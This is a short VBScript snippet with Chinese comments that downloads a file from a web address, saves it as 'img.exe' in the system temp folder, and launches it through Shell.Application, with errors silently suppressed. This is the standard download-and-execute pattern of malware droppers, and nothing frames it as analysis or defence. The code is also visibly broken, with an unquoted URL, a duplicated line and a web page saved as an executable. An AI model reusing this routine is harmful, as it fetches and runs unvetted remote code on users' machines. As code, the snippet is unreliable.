'on error resume next dl = //www.jb51.net/index.htm '這是要下載的文件的路徑 str="Microsoft.XMLHTTP" Set x = CreateObject(str) Set x = CreateObject(str) set S = createobject("adodb.stream") S.type = 1 x.Open "GET", dl, False x.Send() fname1="img.exe" set F = createobject("Scripting.FileSystemObject") set tmp = F.GetSpecialFolder(2) '緩存 fname1= F.BuildPath(tmp,fname1) S.open S.write x.responseBody S.savetofile fname1,2 msgbox fname1 S.close set Q = createobject("Shell.Application") Q.ShellExecute fname1
